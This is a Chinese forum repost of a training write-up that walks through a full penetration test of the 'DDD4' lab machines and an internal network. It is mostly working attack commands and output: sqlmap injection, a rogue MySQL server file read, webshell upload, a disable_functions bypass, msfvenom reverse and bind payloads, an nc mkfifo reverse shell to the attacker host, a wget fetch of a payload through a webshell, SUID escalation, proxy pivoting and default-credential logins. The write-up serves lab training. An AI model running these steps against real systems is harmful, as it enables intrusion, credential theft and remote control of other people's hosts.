天涯论坛

 找回密码
 立即注册
搜索
查看: 11|回复: 2

linux 内网完整渗透测试靶机实例

[复制链接]

3061

主题

3万

回帖

9913万

积分

论坛元老

Rank: 8Rank: 8

积分
99139052
发表于 2024-10-3 16:53:53 | 显示全部楼层 |阅读模式

本篇文案是暗月供给的内部培训的内容!感觉体系比较完善,因此就发出来给大众了。

文末 有pdf版本位置

1. DDD4 靶场介绍

本靶场存在三个 flag 把下载到的虚拟机环境导入到虚拟机,本靶场需要把网络环境配置好。

1.1.网络示意图

2. 信息收集

2.1.主机发掘

sudo netdiscover -i eth0 -r 192.168.0.0/24

2.2.nmap 主机发掘

nmap -sn 192.168.0.0/24

2.3.masscan 端口探测

sudo masscan -p 1-65535 192.168.0.122 --rate=1000

2.4.nmap 端口信息获取

kali@kali:~/ddd4$ nmap -sC -p 8888,3306,888,21,80 -A 192.168.0.122 -oA ddd4-port Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-27 01:41 EDTNmap scan report for 192.168.0.122 Host is up (0.0038s latency).PORT STATE SERVICE VERSION 21/tcp open ftp Pure-FTPd | ssl-cert: Subject:commonName=116.27.229.43/organizationName=BT-PANEL/stateOrProvinceName=Guangdong/countryName=CN | Not valid before: 2020-04-09T18:40:16 |_Not valid after: 2030-01-07T18:40:16 |_ssl-date: TLS randomness does not represent time80/tcp open http Apache httpd | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache |_http-title:\xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE7\xAB\x99\xE7\x82\xB9888/tcp open http Apache httpd | http-methods: |_ Potentially risky methods: TRACE|_http-server-header: Apache |_http-title: 403 Forbidden 3306/tcp open mysql MySQL 5.6.47-log | mysql-info: | Protocol: 10 | Version: 5.6.47-log | Thread ID: 72| Capabilities flags: 63487 | Some Capabilities: DontAllowDatabaseTableColumn, Support41Auth,Speaks41ProtocolOld, SupportsTransactions, IgnoreSigpipes, LongPassword,IgnoreSpaceBeforeParenthesis, InteractiveClient, Speaks41ProtocolNew, ODBCClient,SupportsLoadDataLocal, ConnectWithDatabase, SupportsCompression, FoundRows,LongColumnFlag, SupportsMultipleResults, SupportsMultipleStatments,SupportsAuthPlugins | Status: Autocommit | Salt: ~4%\!-_vU`2soS06\NR|_ Auth Plugin Name: mysql_native_password 8888/tcp open http Ajenti http control panel | http-robots.txt: 1 disallowed entry |_/ | http-title:\xE5\xAE\x89\xE5\x85\xA8\xE5\x85\xA5\xE5\x8F\xA3\xE6\xA0\xA1\xE9\xAA\x8C\xE5\xA4\xB1\xE8\xB4\xA5|_Requested resource was http://192.168.0.122:8888/login |_http-trane-info: Problem with XML parsing of /evox/about Service Info: Host: 0b842aa5.phpmyadminService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 17.76 seconds

2.5.绑定 hosts

2.6.gobuser 的高级用法

利用gobuser扫描可用信息

gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,zip,html,rar -o ddd4.log --wildcard -l | grep -v 10430 | grep -v "Size: 49"

/contact (Status: 200) [Size: 9142] /products (Status: 200) [Size: 12837] /search (Status: 200) [Size: 7633]/partners (Status: 200) [Size: 8912] ......

3. 对目的进行渗透测试

 结合前期的工作,而后经过手工判断 发掘存在SQL注入等漏洞

3.1.SQLMAP 编码注入漏洞利用

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword -D www_ddd4_com --dump -T doc_user

得到秘码字符串

33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

未知加密方式,没法解密

3.2.MYSQL 服务器恶意读取客户端文件漏洞利用

从网上下来一套源码。发掘问题

setup\setup.php

<?php$dbhost = $_REQUEST[dbhost]; $uname = $_REQUEST[uname];$pwd = $_REQUEST[pwd]; $dbname = $_REQUEST[dbname]; if($_GET[action]=="chkdb"){$con = @mysql_connect($dbhost,$uname,$pwd); if (!$con){die(-1);}$rs = mysql_query(show databases;); while($row = mysql_fetch_assoc($rs)){ $data[] = $row[Database];}unset($rs, $row); mysql_close();if (in_array(strtolower($dbname), $data)){ echo 1;}else{echo 0;}}elseif($_GET[action]=="creatdb"){ if(!$dbname){die(0);}$con = @mysql_connect($dbhost,$uname,$pwd); if (!$con){die(-1);}if (mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci",$con)){echo "1"; }else{echo mysql_error();}mysql_close($con);}exit;?>$dbhost = $_REQUEST[dbhost];$uname = $_REQUEST[uname];$pwd = $_REQUEST[pwd];$dbname = $_REQUEST[dbname];if($_GET[action]=="chkdb"){$con = @mysql_connect($dbhost,$uname,$pwd); if (!$con){die(-1);}

这个能够连接远程的 mysql 因此能够利用 mysql 的 bug 能够读取文件。

3.3.Rogue-MySql-Server 读取文件

利用工具项目位置:https://github.com/allyshka/Rogue-MySql-Server

编辑rogue_mysql_server.py文件

拜访连接

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.109&action=chkdb

能够获取到报错路径

经过工具执行后咱们读取本地的mysql.log文件

 成功获取到了/etc/passwd

3.4.Rogue-MySql-Server 读取配置文件

经过获取到了网站路径以及下载的源码得到配置文件路径为

/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

经过获取信息得到了数据库配置文件信息

dbname www_ddd4_comusername www_ddd4_com password x4ix6ZrM7b8nFYHn

3.5.登录 mysql

mysql -h192.168.0.122 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

3.6.后台密文登录

由于密文不可直接破解,只能经过update方式 替换为咱们自己生成的密文以便登录

经过代码

得到 admin 的密文为

33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

先要读取原来密文,而后再update 登录成功后方便update回去

原密文

33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

利用mysql执行update语句

MySQL [www_ddd4_com]> update doc_user set pwd=33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0 where id=1;Query OK, 1 row affected (0.005 sec)Rows matched: 1 Changed: 1 Warnings: 0

成功登录后台

3.7.后台上传漏洞

看到代码文件

admini\controllers\system\bakup.php

function uploadsql(){global $request; $uploadfile=basename($_FILES[uploadfile][name]); if($_FILES[userfile][size]>$request[max_file_size])echo <script>alert(" 您 上 传 的 文 件 超 出 了 2M 的 限 制!");window.history.go(-1);</script>;if(fileext($uploadfile)!=sql)echo <script>alert(" 只 允 许 上 传 sql 格 式 文 件!");window.history.go(-1);</script>;$savepath = ABSPATH./temp/data/.$uploadfile;if(move_uploaded_file($_FILES[uploadfile][tmp_name], $savepath)){echo <script>alert(" 数 据 库 SQL 脚 本 文 件 上 传 成 功!");window.history.go(-1);</script>;}else{echo <script>alert(" 数 据 库 SQL 脚 本 文 件 上 传 失 败!");window.history.go(-1);</script>;}}

存在规律问题 上传 SQL 判断退出 引起可上传任何文件

上传后发掘没法执行 ,发掘由于.htaccess重写了 url 禁止有些目录拜访

3.8.模板编辑拿webshell

发掘后台存在模板编辑功能

能够直接编辑php文件,经过该功能直接获取webshell

4. linux 特权提高

4.1.突破 disable_functions提权

目的运用的是新版宝塔系统

这套新系统的宝塔系统 php 禁止非常多函数的执行 

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_w aitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pc ntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get _last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exe c,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

不外还是漏了有些函数,引起能够执行。

http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath =/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

尝试反弹失败

4.2.metasploit 反弹 shell

4.2.1.生成攻击载荷

sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=13777 -f elf >ddd4

4.2.2.监听端口

msfconsole 打开 metasploitmsf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set LHOST 192.168.0.109 LHOST => 192.168.0.109msf5 exploit(multi/handler) > set lport 13777 lport => 13777msf5 exploit(multi/handler) > exploit

4.2.3.成功监听 shell

将文件上传到添加执行权限,在目录执行就可 

http://www.ddd4.com/bypass_disablefunc.php?cmd=chmod%20777%20ddd4&outpath= /tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.sohttp://www.ddd4.com/bypass_disablefunc.php?cmd=./ddd4&outpath=/tmp/xx&sopath= /www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

切换 shell

 python -c import pty;pty.spawn("/bin/bash")

4.3.创立交互 shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.109 9001 >/tmp/fnc -lvnp 9001python -c import pty;pty.spawn("/bin/bash")

4.4.查看用户

www@host123:/www/wwwroot/www.ddd4.com$ cat /etc/passwd | grep bash cat /etc/passwd | grep bashroot:x:0:0:root:/root:/bin/bashhost123:x:1000:1000:host123,,,:/home/host123:/bin/bash www@host123:/www/wwwroot/www.ddd4.com$

4.5.获取第1个 flag.txt

4.6.经过宝塔提权到 root

经过命令查看发掘host123 桌面存在文件 bt.txt。该文件保留着宝塔信息

www@host123:/www/wwwroot/www.ddd4.com$ cat /home/host123/bt.txt cat /home/host123/bt.txtBt-Panel: http://116.27.229.43:8888/944906b5 username: gpeqnjf4password: d12924fawww@host123:/www/wwwroot/www.ddd4.com$

最新版本的宝塔是有linux 终端的。不外需要输入命令并记录秘码才可行,因此运用办法提权反弹

成功反弹回root权限

4.7.经过 suid 提权到 root

除了宝塔这点提权呢 还能够会用suid提权

find / -type f -perm -u=s 2>/dev/null

存在 find 带有 s 能够用于提权

find test -exec whoami \;

4.8.linux 三大信息收集脚本的运用和解释

4.8.1.LinEnum 的运用

   这个脚本是用来收集系统的信息 如 特殊文件的权限 suid 文件信息网络端口信息 创立 WEB 服务器

sudo python -m SimpleHTTPServer 80

下载文件执行

wget http://192.168.0.109/LinEnum.sh

历史记录找到 root 秘码 yanisy123

4.8.2.linux-exploit-suggester.的运用

这个用来检测是不是存在提权 cve 漏洞

4.8.3.linuxprivchecker.py

这个用来检测权限

python linuxprivchecker.py

4.9.sudo 提权

sudo -l host123 用户能够执行命令

4.10. 第二个 flag

5. linux 内网跨网段渗透

5.1.获取高权限的 meterpreter

先用 metasploit 反弹一个 root 权限的 meterpreter

msf5 exploit(multi/handler) > exploit -j

放在后台执行

5.2.网卡路由信息获取

msf5 exploit(multi/handler) > sessions -i 2[*] Starting interaction with 2...meterpreter > ifconfigInterface 1============Name : loHardware MAC : 00:00:00:00:00:00MTU : 65536Flags : UP,LOOPBACKIPv4 Address : 127.0.0.1IPv4 Netmask : 255.0.0.0IPv6 Address : ::1IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::Interface 2============Name : ens33Hardware MAC : 00:0c:29:c7:f2:4fMTU : 1500Flags : UP,BROADCAST,MULTICASTIPv4 Address : 192.168.0.122IPv4 Netmask : 255.255.255.0IPv6 Address : fe80::973d:c7c9:d30d:8cb8IPv6 Netmask : ffff:ffff:ffff:ffff::Interface 3============Name : ens38Hardware MAC : 00:0c:29:c7:f2:59MTU : 1500Flags : UP,BROADCAST,MULTICASTIPv4 Address : 10.10.10.145IPv4 Netmask : 255.255.255.0IPv6 Address : fe80::3b3c:b923:c6aa:54c3IPv6 Netmask : ffff:ffff:ffff:ffff::meterpreter > run get_local_subnets[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[!] Example: run post/multi/manage/autoroute OPTION=value [...]Local subnet: 10.10.10.0/255.255.255.0Local subnet: 192.168.0.0/255.255.255.0

5.3.查看 host 文件

cat /etc/hosts

5.4.metasploit 设置代理进入内网

meterpreter > run autoroute -s 10.10.10.0/24[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[!] Example: run post/multi/manage/autoroute OPTION=value [...][*] Adding a route to 10.10.10.0/255.255.255.0...[+] Added route to 10.10.10.0/255.255.255.0 via 192.168.0.122 [*] Use the -p option to list all active routes

5.4.1.起步 sock4 模块

msf5 exploit(multi/handler) > search sock4 [-] No results from searchmsf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) >msf5 auxiliary(server/socks4a) > show optionsModule options (auxiliary/server/socks4a):Name Current Setting Required Description---- --------------- -------- -----------SRVHOST 0.0.0.0 yes The address to listen onSRVPORT 1080 yes The port to listen on.Auxiliary action: Name Description---- ----------- Proxy msf5 auxiliary(server/socks4a) > set SRVPORT 22333 SRVPORT => 22333msf5 auxiliary(server/socks4a) > exploit[*] Auxiliary module running as bac公斤round job 1.[*] Starting the socks4a proxy server

5.4.2.设置 proxychains3 代理进内网

sudo vim /etc/proxychains.conf

proxychains3 nmap -sT -Pn 10.10.10.144

5.5.对 www.ddd5.com 进行检测

发掘是 emlog 后台默认秘码 123456 就可登录 然则 用 proxychains3 不是很稳定。

5.5.1.设置浏览器代理拜访

5.5.2.后台拿 WEBSHELL

从网上下来一个 emlog 把带有后门文件的 php 设置打包好在 emlog 后台上传模板压缩包解 压后就可 在 模板名的目录生成一个 php 后门。

5.5.3.metasploit 生成正向连接

sudo msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=13777 -f elf >ddd5

上传到 host123 主机上。

拜访web url 执行

http://www.ddd5.com/content/templates/moonsec/shell.php?cmd=wget%20http://10.10. 10.145/ddd5%20-o%20ddd5chmod 777 ddd5 执行 http://www.ddd5.com/content/templates/moonsec/shell.php?cmd=./ddd5

5.5.4.连接远程 SHELL

msf5 auxiliary(server/socks4a) > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload linux/x86/meterpreter/bind_tcp payload => linux/x86/meterpreter/bind_tcpmsf5 exploit(multi/handler) > set RHOST 10.10.10.144 RHOST => 10.10.10.144exploit

正常的状况下是 会连接上的 然则可能 centos 的关系 有些代码错误 引起连接不上。

5.6.sock5 隧道代理穿透内网

运用 metasploit sock4a 代理 在实质环境中不怎么稳定如有不稳定最好运用 rssock 代理穿透内网。

下载位置 https://nchc.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz

 kali host123 都需要进行编译生成文件 

下载完进行解压

-tar -zxvf ssocks-0.0.14.tar.gz cd ssocks-0.0.14./configuire && make

kali上执行

./rcsocks -l 2233 -p 1080 -vv

在反弹shell里执行

位置于host123目录下

./rssocks -vv -s 192.168.0.109:1080

运用浏览器代理

拜访速度有显著提高

5.7.配置 proxychains3sock5 代理调用nmap 扫描

编辑配置文件

sudo vim /etc/proxychains.conf

proxychains3 nmap -sT -Pn 10.10.10.144

5.8.sockscap 本地理学代理穿透内网

用 metasploit sock4a 代理进的时候 菜刀和蚁剑都链接不上后门此刻将菜刀 代理进去 功能正常

5.9.设置中国蚁剑 sock5 代理进穿透内网

6. linux 内网跨段提权

6.1.查看端口信息

6.2.用户信息

6.3.wdcp 主机提权

8080 端口是一个 wdcp 主机 在旧版 wdcp 安装都是有些默认信息。

账号 admin 秘码 wdlinux.cn

主机登录的默认秘码被修改了 然则 mysql 的默认秘码还没修改 能够经过 phpmyadmin 进行登录。

管理员的密文 17d03da6474ce8beb13b01e79f789e63 

破解出来是 moonsec123

登录掌控面板提权

掌控面板中能够直接执行命令

6.4.最后一个 flag

6.5.ssh公钥免密登陆

在 wdcp 生成秘钥保留下来

在 kali 设置权限 600

proxychains3 ssh root@10.10.10.144 -i sshkey_wdcp

其他的有些思路能够参考公众号之前的文案

pdf版:

https://www.liuk3r.com/wp-content/uploads/2020/06/2020061105042629.pdf

结尾:友情文案跟友情宣传更搭配,点击原文直达培训网址

暗月web安全培训:http://edu.moonsec.com/





上一篇:怎么样为emlog制作一系列的订阅按钮
下一篇:研发小红书APP同样源码,1:1还原一模同样
回复

使用道具 举报

3048

主题

2万

回帖

9910万

积分

论坛元老

Rank: 8Rank: 8

积分
99109040
发表于 2024-10-6 15:47:05 | 显示全部楼层
说得好啊!我在外链论坛打滚这么多年,所谓阅人无数,就算没有见过猪走路,也总明白猪肉是啥味道的。
回复

使用道具 举报

3070

主题

3万

回帖

9915万

积分

论坛元老

Rank: 8Rank: 8

积分
99158931
发表于 2024-10-28 21:09:20 | 显示全部楼层
论坛的成果是显著的,但我们不能因为成绩而沾沾自喜。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

站点统计|Archiver|手机版|小黑屋|天涯论坛 ( 非经营性网站 )|网站地图

GMT+8, 2024-11-23 01:17 , Processed in 0.125388 second(s), 21 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.